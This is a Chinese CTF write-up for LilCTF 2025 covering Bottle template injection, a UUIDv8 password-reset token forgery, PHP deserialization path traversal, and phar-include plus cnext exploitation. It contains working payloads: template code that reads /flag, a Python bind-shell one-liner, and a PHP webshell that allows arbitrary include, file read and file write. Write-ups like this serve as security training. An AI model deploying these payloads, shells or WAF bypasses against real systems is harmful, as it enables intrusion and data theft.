Lilctf2025-WP

ez_bottle

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]


def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'

if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

zip_file.file.seek(0)

current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)

zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)

try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'

real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'

z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'

files = os.listdir(extract_dir)
files.remove('upload.zip')

return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
return "bbbbbboooottle"


@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)

简单一下心路历程()
1
2
3
4
5
6
7
8
提示flag的位置,暗示只能实现文件读取吗?
发现zip解压操作,应激了去打软链接
很好,发现软链接被禁了
贼心不死?算了,绕不过的
最后把目光放到了template函数上
黑名单,WAF的全吗你
是bottle
开干
最后的payload是
1
2
% import builtins
% raise Exception(vars(builtins)['o'+'pen']('/flag').read())

或者

1
2
% import builtins
% assert 0, vars(builtins)['o'+'pen']('/flag').read()

bottle的模板渲染只有几种方式

1
2
3
{{}}
%
<% %>

因此就只能用%

其余绕过详见payload

这里主要介绍一下其他人的思路,当个拓展

思路二:斜体字绕过
1
详见:https://www.tremse.cn/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/#li-yong-xian-zhi

总结就是:可以用%aa来代替a,o可以用%ba来代替

1
2
3
% import ºs
% flag=ºs.pºpen('cat /flag').read()
% raise Exception(flag)

或者

1
2
3
4
% from bottle import abort
% a = open('/flag').read()
% abort(404, a)
% end
给梭了()
思路三:subprocess
1
2
% import subprocess
% subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])

Ekko_note

简述一下思路:

1
2
3
4
5
6
7
8
9
10
11
通过"某种手段"成功登录管理员账户
自己开个vps弹回指定json格式内容
成功走到os.system
这里我废了,暴毙,忘了题目环境问题,curl外带不行,标准Payload弹shell不成功
就认为不出网(bushi,刚刚还弄vps来着()
这里有两个方法
第一个写文件,题目没提到static,但我们可以利用上
mkdir -p static && cat /flag > static/flag.txt
对了用这个可以先用sleep确定根目录确有flag文件
第二种方法是,用python3去弹shell
等会会谈到()

一、登录admin

出题人本意考察选手 UUIDv8函数的不安全性

相关走进出题人的博客:聊聊python中的UUID安全 - LamentXU - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

在该题中,我们利用 /server_info 获取server_start_time

直接生成admin的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

在忘记密码里操作一下

这样就可以直接利用admin账号啦

1
{"current_time":1756135944.4560633,"server_start_time":1756135501.2837107}
1
2
3
4
5
6
7
8
9
10
11
12
13
再以server_start_time为seed去拿到admin的token
import random
import uuid
random.seed(1756135501.2837107)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

print(uuid.uuid8(a=padding('admin')))
#最新的python3.14才支持的uuid6-8,注意安装一下环境

去/forgot_password填进去uuid和要更改的密码即可

另外一个方法就是把源码里的secret拿去伪造session,注意,改成admin没用,需要把id改为1,就拿到初始的admin账户了()

二、拿到shell

这一步省略了()

懒的去开vps…

三、反弹shell

Online - Reverse Shell Generator

可以了解下这个网站()

注意 注意/bin/bash是不存在的 ,且无curl之类的工具

直接执行

1
2
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("x.x.x.x",9001));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

即可弹到shell

其余方法就不啰嗦了

Your Uns3r

心路历程:

1
2
3
很典型的php反序列化题目,几个简单的WAF点我都知道,所以本地就很快通了
出题人挺好心()
因此直接include "lilctf../../../../flag"出了哎
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
class User
{
public $username="admin";
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
}

class Access
{
protected $prefix='';
protected $suffix="../../../../../../../flag";

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}
$user=new User();
$user->value=serialize(new Access());
echo urlencode(serialize($user));


注意s—>S 改admin->\61dmin(随便十六进制绕过)

注意改Access->AccEss(随便大小写绕过)

删除最后一个大括号

1
2
3
4
5
6
这里稍微注意一下,遇到了throw new Exception("nonono!!!");
会使php直接退出,__destruct也不会执行,需要在这之前触发__destruct
有两个方法
一是直接删除末尾的一个大括号即可
二是$payload=serialize(array($u,null));
$payload = str_replace('i:1', 'i:0', $payload);

传user,成功include到flag文件

1
user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22\61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A89%3A%22O%3A6%3A%22AccEss%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A25%3A%22..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B

我曾有一份工作

心路历程:

1
2
扫描器没扫到www.zip
全剧终

php_jail_is_my_cry

伪源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$file_name = basename($url);

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);

if ($data) {
file_put_contents('/tmp/'.$file_name, $data);
echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
} else {
echo "下载失败。";
}
}

if (isset($_GET['down'])){
include '/tmp/' . basename($_GET['down']);
exit;
}

// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);

// I hide a trick to bypass open_basedir, I'm sure you can find it.

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}

心路历程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
拿到伪源码后关注了两处
一个是include
另一个是严密的内容过滤
很不巧在不久前我刚好看了这篇关于php8的include与phar的邂逅
因此也是第一时间尝试RCE
一直用的是system传马,但是没看配置关了极大多数函数包括system
因此卡了很久,最后意识到了()
下一步是读懂,代码中真正缺少或者错误的地方是什么,跟随出题人的提示
我搭了本地环境
很明显,本地开的环境有一个很明显的问题,根本没有成功上传文件
是的,利用好搜索引擎之后
也是成功实现准任意文件读取了
最后彻彻底底卡住了
一头冲进gopher里面,一发不可收拾

关于php8与phar,大家可以看https://fushuling.com/index.php/2025/07/30/%e5%bd%93include%e9%82%82%e9%80%85phar-deadsecctf2025-baby-web/

简单一句话就是,当include到带.phar的文件,甚至路径带也行,它会有一步解压操作,而我们可以在phar文件写入php代码,再gzip压缩,绕过对<?的WAF,实现文件上传后的文件包含

完成了这一步之后我们只是尝试了file_put_contents函数成功,其他基本全军覆没,赛后听eval可以,我忘了试()

用eval写马就不用反复phar gzip 上传 包含的操作了()为什么会有这么蠢的人

当然,我们回顾源码,发现利用了curl

但是实际源码里的

1
2
3
4
5
6
$ch = curl_init('file://'. $orig);

// I hide a trick to bypass open_basedir, I'm sure you can find it.

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);

根本拿不到内容,因为,还有open_basedir的限制

拷打chatgpt才知道,咱可以用

1
2
3
$ch = curl_init("file:///etc/passwd");
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");//这个默认把结果放到响应,如果要执行其他命令,可下面那样
$data = curl_exec($ch);

拿到内容

事实上我赛后试了下,你可以执行php代码之后直接拿Index.php看就行,也不至于去拷打ai()

走到这一步,算是实现文件读取,但是读不了/flag,无法执行/readflag

还是要拿到shell

跳过我对gopher的求索之路,直接走到复现cnext上吧

打cnext漏洞了,php 8.3.0可以打

/etc/passwd和/proc/self/maps可以读 ,那么就可以尝试了

注意出题人给的hint, allow_url_include没有开启 ,无法使用data://,不会有人觉得单单是在提示这个吧,那应该就是我了()

这样的话就得该打cnext的脚本,无法data://可以读文件触发

复现了

1
2
3
4
就要将resource=指向/tmp目录下的文件
同时file_put_content没有被禁用,可以写文件到/tmp再用php://filter通过filterchain读文件打cnext
统一写文件到/tmp/io,再读取,来实现对resource的内容控制
url传入 http://*****/?down=payload.phar.gz

payload.phar.gz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_POST["include"])) {
include $_POST["include"];
}

if (isset($_POST["download"])) {
$ch = curl_init("file://". $_POST["download"]);
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}

if (isset($_POST["content"]) && isset($_POST["path"])) {
$content = $_POST["content"];
if ($_POST["base64"]) {
$content = base64_decode($content);
}
file_put_contents($_POST["path"], $_POST["content"]);
}

生成payload一直失败,选择改cnect_exploit了

成功~

 `LILCTF{daf47388-c311-4958-9894-fc239a480a31}`

出题人还给了另一种最curl的思路,之后可以看看:https://blog.kengwang.com.cn/archives/668/

blade_cc

心路历程:

1
初学java,拼尽全力,无法战胜

[https://www.n1ght.cn/2025/08/21/blade_cc/](https://www.n1ght.cn/2025/08/21/blade_cc/)

复现一下